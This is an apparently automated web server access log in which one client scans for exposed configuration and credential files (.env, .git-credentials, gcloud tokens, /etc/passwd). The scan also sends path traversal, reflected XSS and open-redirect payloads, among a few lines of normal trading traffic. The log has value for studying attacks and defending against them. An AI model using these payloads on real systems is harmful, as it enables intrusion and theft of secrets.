[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /p/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login/dologin HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MRcgi/MRlogin.pl HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /remote/login HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /exciter.php HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v2/cmdb/system/admin/admin HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?redir=/ng HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1 HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgiServer?worker=LoginForm HTTP/1.1" 199
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //icons/text.gif HTTP/1.1" 199
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phoenix/login.html HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /fpc/login/ HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.zip HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /m/ HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WelcomeActions.jsp?action=ajaxGetWelcomeViewInfo HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.z HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wlm/login?next=/wlm HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_all/_search HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //tmp HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redoc HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/dompdf/www/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configurations/config_default HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_vti_inf.html HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/3 HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /access_tokens.db HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/presets/?filter=true HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static../.git/config HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fuel/login HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitemanager.xml HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Visitor//%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:54:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login_mgr?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:54:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gespage/webapp/login.xhtml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sqlitemanager/ HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fuel/login HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.sh HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deployment.production.ini HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //icons/folder.gif HTTP/1.1" 199
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /res.php HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/profile HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v4/projects HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.dhtml?sponsor=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Visitor/bin/WebStrings.srf?file&obj_name=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/constant-contact-forms/vendor/constantcontact/constantcontact/test/Json/Auth/get_access_token.json HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/kibana/ HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Gemfile HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /21408623/cgi-bin/tsaws.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/ci.yml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth/login HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/error.log HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.mailmap HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /events/EventRsvp.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/repos/search?limit=1 HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/config.js HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //bitrix/rk.php?id=84&site_id=n1&event1=banner&event2=click&event3=1+%2F+%5B84%5D+%5BMOBILE_HOME%5D+Love+Card&goto=https://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ghost/ HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/?step=1 HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/settings/settings.py HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database/database.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftpsync.settings HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cwindows/win.ini HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /installer/install.php HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /geoserver/j_spring_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MRcgi/MRentrancePage.pl HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /global-protect/login.esp HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/proxy/tcp HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.git-credentials HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hdstat.htm HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user/sign_up HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kvmlm2/index.dhtml?fname&language=../../../../../../../../../../etc/passwd%00.jpg&lname&sponsor=gdi&template=11 HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_config.yml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebReport/NCNjIP0o.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /docker-compose.dev.yml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /includes/.gitignore HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/config.php HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.git/config HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /explore/snippets HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/4 HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /oauth/token HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /web/rest/v1/login/sessions HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.git/logs/HEAD HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/javascript%26colon%3Balert(document.domain);dd%26sol%3b%26sol%3b HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /....4.2.1....json HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.git/ HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.example HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /WebReport/ReportServer?op=fr_server&cmd=sc_getconnectioninfo HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /install/froxlor.sql HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.ftpconfig HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /credentials.db HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_in HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /report/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.Z HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_cluster/health?pretty HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //uploads HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /openapi.json HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.config/gcloud/configurations/config_default HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.config/gcloud/access_tokens.db HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/application/libraries/dompdf/www/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ipa/ui/ HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/install.php HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /FileZilla.xml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js../.git/config HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.bak HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /_vti_pvt/service.cnf HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /glpi/files/ HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fed.rpc.solo.io.GlooInstanceApi/ListClusterDetails HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /client_secrets.json HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Visitor/bin/WebStrings.srf?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini&obj_name=aaa HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Org/service/Service.asmx/GetUserByEmployeeCode HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/sign_up HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugin/sms5/ajax.sms_emoticon.php?arr_ajax_msg=gnuboard<svg+onload=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/luci?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /LICENSE.txt HTTP/1.1" 44494
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/shop/lg/mispwapurl.php?LGD_OID=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redmine/config/environment.rb HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /status.php HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mailman/listinfo HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bbs/new.php?darkmode=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /readme.txt HTTP/1.1" 4760
[09/Jan/2026:10:54:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go.mod HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/constant-contact-api-old/vendor/constantcontact/constantcontact/test/Json/Auth/get_access_token.json HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goanywhere/auth/Login.xhtml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /alps/profile HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /geoserver/web/ HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Gemfile.lock HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /debug/pprof/heap?debug=1 HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goanywhere/auth/Login.xhtml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/ci.yaml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deployment.prod.ini HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/errors.log HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webclient/Login.xhtml HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /oauth2/authorize HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go/add-on/business-continuity/api/cruise_config HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go/auth/login HTTP/1.1" 196
[09/Jan/2026:10:54:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /go/add-on/business-continuity/api/cipher.aes HTTP/1.1" 196
